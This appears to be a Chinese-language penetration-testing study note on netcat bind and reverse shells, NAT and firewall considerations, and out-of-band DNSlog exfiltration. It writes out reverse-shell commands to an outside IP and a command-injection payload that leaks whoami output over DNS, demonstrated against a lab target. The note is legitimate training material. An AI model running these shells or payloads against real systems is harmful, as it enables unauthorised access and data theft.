文件上传下载:

目的:解决无图形化和数据传输

我们常规下载文件就是访问网址下载,但是在安全测试过程中,有很多情况下没有图形化操作(只是一个执行命令的shell),这也是一个必备的一个技能

可以利用棱角社区生成下载命令(多种方式的命令)

[~]#棱角 ::Edge.Forum* (ywhack.com)

C:\inetpub\wwwroot(windows一般网站目录都在这)

反弹shell

我们用的工具是nc(linux自带,windows需要下载)

为什么需要反弹??

有些命令需要交互式才能进行,像冰蝎那种后门的shell,是没有交互的,遇到交互的命令,会卡住。

一般用外网机器对内网机器进行访问时,多用反向shell,内网机器与内网机器之间多用正向shell

知识点:

1.正向连接和反向连接

假如有两台主机,主机a和主机b,我想要a去控制b,那么a主动去连接b,就是正向连接。

b找到a把数据发送给a,a连接到b,就叫反向连接。

正向连接:

本地监听,等待连接

被控制主机执行

1
nc -lvp 5566 -e /bin/sh (绑定本地的5566端口)

攻击机执行

1
nc 47.237.119.xx 5566

为了安全我把我的服务器后面两位省略了哈。

反向连接:

主动给出现,对方监听

这里我用kali模拟需要被控制的机器,我的服务器模拟攻击的机器

kali执行:

1
nc 47.237.119.xx 5577 -e /bin/bash

服务器执行:

1
nc -lvp 5577

学校,网吧,企业 这种内网环境,只有一个出网ip,那么控制内网某一台机器的权限,用反向连接(因为你的ip是唯一的,能够找到),外网连不到内网ip。想要正向的话,需要做一个端口映射)

小迪这期讲的特别细,

举个例子。

(都没有考虑入站和出站的限制)

如果说你有一台服务器(有公网ip),然后和你本机,那么服务器上执行反向连接,本机监听,可以连接成功吗?不可以的,因为反向的时候,他找不到你的ip,我们在学校访问互联网,都是通过一个路由器将内网ip转换为外网ip,这样上网的。服务器传回来的连接,说找不到你的ip,只能找到路由器,路由器又没有配置分发,所以连接不上。

那么服务器监听本地,本机去连可以吗??可以,因为服务器的外网ip是唯一的,他可以连接。

本机反向连接给服务器,服务器监听,可以连接吗?也可以。

然后入站和出站策略

入站策略:针对的是访问这个主机的策略

针对入站策略特别严格,就用反向连接

出站策略:针对的是这个主机数据出去的策略

出站策略特别严,就用正向连接

如果两个都特别严,哈哈。(只有我妈才能剥夺我玩不了电脑的权利,现在waf也可以,在waf身上甚至感受到了母爱。)

数据回显问题:

数据没有回显,就不知道它有没有安全问题,反弹shell是一个解决问题的方法,

另一种方法:带外查询(DNSlog),windows用powershell命令,linux可以用 ``,这个代表执行命令

windows演示

1.我用pikachu演示一下,带外查询,因为我搭建的是windows服务器,所用要用到powershell脚本

1
127.0.0.1 | powershell $x=whoami;$y=$x.Replace('\','x');$z='.f4465y.dnslog.cn';$h=$y+$z;ping $h;

linux演示

2.linux 演示一下,我就不搭建pikachu了,直接执行一下

1
ping `whoami`.teovfs.dnslog.cn